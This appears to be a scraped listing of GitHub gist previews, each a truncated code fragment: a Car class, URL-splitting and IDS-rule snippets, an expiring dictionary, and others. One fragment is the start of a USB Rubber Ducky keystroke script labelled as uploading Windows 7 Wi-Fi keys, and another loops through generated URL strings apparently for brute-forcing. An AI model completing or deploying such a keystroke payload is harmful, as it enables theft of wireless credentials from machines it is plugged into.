This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from __future__ import division | |
from geopy.distance import vincenty | |
import math | |
from random import randint | |
class Car(object): | |
def __init__(self): | |
''' | |
Initialize class level variables here. If we needed to pass in objects (instances of classes) | |
we could do that too. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def robLoop(): | |
a = [48,48,48,48,48,48,48,48, | |
48,48,48,48,48,48,48,48] | |
exclude = [58,59,69,61,62,63,64,91,92,93,94,95,96] | |
max = 123 | |
for i in range(0,len(a)): | |
while a[i] < max: | |
url = ''.join(str(chr(e)) for e in a) | |
print url |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def numSuhDudesRequiredToScrewInALightBulb(self,num=None): | |
if num != None: | |
return None | |
else: | |
return num |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
go to https://github.com/lattera/porkroll for the latest version. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
s = "http://www.foo.com/bar/baz" | |
a = s.split('/') | |
a.reverse() | |
a.pop() | |
a.pop() | |
a.pop() | |
a.reverse() | |
out = "/"+"/".join(a) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
z = "{0:0{1}x}" | |
fout = open('muh.rules', 'w') | |
with open('muh.bad.zones.txt','r') as f: | |
parts = f.readline().split('.') | |
rule = ("|%s|%s|%s|%s|%s|%s"%(z.format(len(parts[0]),2),parts[0],z.format(len(parts[1]),2),parts[1],z.format(len(parts[2]),2),parts[2])) | |
fout.write(rule) | |
fout.close() | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class ExpiringDictWithCallback(ExpiringDict): | |
def __init__(self, max_len, max_age_seconds, callback=None): | |
assert max_age_seconds >= 0 | |
assert max_len >= 1 | |
OrderedDict.__init__(self) | |
self.max_len = max_len | |
self.max_age = max_age_seconds | |
self.lock = RLock() | |
self.callback = callback |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
REM #### win 7 bits upload wlan keys | |
DELAY 1000 | |
ESCAPE | |
CONTROL ESCAPE | |
DELAY 400 | |
STRING cmd | |
DELAY 400 | |
CTRL-SHIFT ENTER | |
DELAY 400 | |
ALT y |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import time | |
from random import randint | |
import os | |
import sys | |
from subprocess import call | |
#os.system('curl') | |
def accessDocs(proxy): | |
temp = ["manual.pdf", "altamira.docx", "ajpresentation.pptx"] |